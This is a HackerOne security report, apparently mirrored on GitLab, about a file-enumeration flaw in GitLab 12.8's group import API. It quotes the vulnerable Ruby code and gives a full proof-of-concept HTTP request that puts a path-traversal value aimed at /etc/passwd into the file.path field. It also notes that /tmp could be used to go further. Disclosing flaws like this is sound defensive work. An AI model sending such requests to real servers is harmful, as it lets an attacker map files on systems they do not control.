Skip to content

File enum-ing on local/Remote Object Storage by using group import API

HackerOne report #848415 by ledz1996 on 2020-04-13, assigned to @cmaxim:

Summary

The group import API does not validate the file param, We could skip the param and add optional param like file.path file.remote_id

lib/api/group_import.rb

      desc 'Create a new group import' do  
        detail 'This feature was introduced in GitLab 12.8'  
        success Entities::Group  
      end  
      params do  
        requires :path, type: String, desc: 'Group path'  
        requires :name, type: String, desc: 'Group name'  
        optional :parent_id, type: Integer, desc: "The ID of the parent group that the group will be imported into. Defaults to the current user's namespace."  
        optional 'file.path', type: String, desc: 'Path to locally stored body (generated by Workhorse)'  
        optional 'file.name', type: String, desc: 'Real filename as send in Content-Disposition (generated by Workhorse)'  
        optional 'file.type', type: String, desc: 'Real content type as send in Content-Type (generated by Workhorse)'  
        optional 'file.size', type: Integer, desc: 'Real size of file (generated by Workhorse)'  
        optional 'file.md5', type: String, desc: 'MD5 checksum of the file (generated by Workhorse)'  
        optional 'file.sha1', type: String, desc: 'SHA1 checksum of the file (generated by Workhorse)'  
        optional 'file.sha256', type: String, desc: 'SHA256 checksum of the file (generated by Workhorse)'  
      end  
      post 'import' do  
        authorize_create_group!  
        require_gitlab_workhorse!

        uploaded_file = UploadedFile.from_params(params, :file, ImportExportUploader.workhorse_local_upload_path)

        bad_request!('Unable to process group import file') unless uploaded_file

        group_params = {  
          path: params[:path],  
          name: params[:name],  
          parent_id: params[:parent_id],  
          visibility_level: closest_allowed_visibility_level,  
          import_export_upload: ImportExportUpload.new(import_file: uploaded_file)  
        }  

If we specify file.path, we would attempt to search in local file for making the importation.

lib/uploaded_file.rb

 def self.from_params(params, field, upload_paths)  
    path = params["#{field}.path"]  
    remote_id = params["#{field}.remote_id"]  
    return if path.blank? && remote_id.blank?

    file_path = nil  
    if path  
      file_path = File.realpath(path)

      paths = Array(upload_paths) << Dir.tmpdir  
      unless self.allowed_path?(file_path, paths.compact)  
        raise InvalidPathError, "insecure path used '#{file_path}'"  
      end  
    end

    UploadedFile.new(file_path,  
      filename: params["#{field}.name"],  
      content_type: params["#{field}.type"] || 'application/octet-stream',  
      sha256: params["#{field}.sha256"],  
      remote_id: remote_id,  
      size: params["#{field}.size"])  
  end  

in the allowed_path? function, gitlab call exists? first to check whether the file exists or it, because of this we could use to enum files around the system

  def self.allowed_path?(file_path, paths)  
    paths.any? do |path|  
      File.exist?(path) && file_path.start_with?(File.realpath(path))  
    end  
  end  

Sample Request:

POST /api/v4/groups/import HTTP/1.1  
Host: gitlab.example.vm  
User-Agent: curl/7.55.1  
Accept: */*  
PRIVATE-TOKEN: 8ZCeRk1-DZS1GegcVr-P  
Content-Length: 577  
Content-Type: multipart/form-data; boundary=------------------------b4ccee868e1339da  
Connection: close

--------------------------b4ccee868e1339da  
Content-Disposition: form-data; name="name"

imporwdqted-group  
--------------------------b4ccee868e1339da  
Content-Disposition: form-data; name="file.path"

../../../../../etc/passwd  
--------------------------b4ccee868e1339da  
Content-Disposition: form-data; name="file.size"

40  
--------------------------b4ccee868e1339da  
Content-Disposition: form-data; name="file"

40c  
--------------------------b4ccee868e1339da  
Content-Disposition: form-data; name="path"

importsssed44d3-gqqroup  
--------------------------b4ccee868e1339da--

If the file does exists, the error returned would be "insecure path used!", if it isn't then it should be "500 Internal Error"

/etc/passwd attempt
file4.PNG

/etc/passwdee - non exists attempt
file3.PNG

Also due to the check of Dir.tmpdir the folder /tmp is allowed, I may leverage this to further exploitation

Remote Object Storage

If you specify the file.remote_id params, it will attempt to make connection to the remote object storage with the file key equals to the value of the params.

Steps to reproduce

  1. Create a User
  2. Create an API TOKEN
  3. Follow the sample request

Impact

System file enums, possible files in /tmp disclose

Output of checks

This bug also happen on Gitlab.com

Results of GitLab environment info

System information  
System:         Ubuntu 16.04  
Proxy:          no  
Current User:   git        
Using RVM:      no         
Ruby Version:   2.6.5p114  
Gem Version:    2.7.10     
Bundler Version:1.17.3     
Rake Version:   12.3.3     
Redis Version:  5.0.7      
Git Version:    2.24.1     
Sidekiq Version:5.2.7      
Go Version:     unknown  

GitLab information  
Version:        12.8.6-ee  
Revision:       5b0bcf2717b  
Directory:      /opt/gitlab/embedded/service/gitlab-rails  
DB Adapter:     PostgreSQL  
DB Version:     10.12  
URL:            http://gitlab.example.vm  
HTTP Clone URL: http://gitlab.example.vm/some-group/some-project.git  
SSH Clone URL:  git@gitlab.example.vm:some-group/some-project.git     
Elasticsearch:  no  
Geo:            no  
Using LDAP:     no  
Using Omniauth: yes  
Omniauth Providers:

GitLab Shell  
Version:        11.0.0  
Repository storage paths:  
- default:      /var/opt/gitlab/git-data/repositories  
GitLab Shell path:              /opt/gitlab/embedded/service/gitlab-shell  
Git:            /opt/gitlab/embedded/bin/git  

Impact

System file enums, possible files in /tmp disclose

Attachments

Warning: Attachments received through HackerOne, please exercise caution!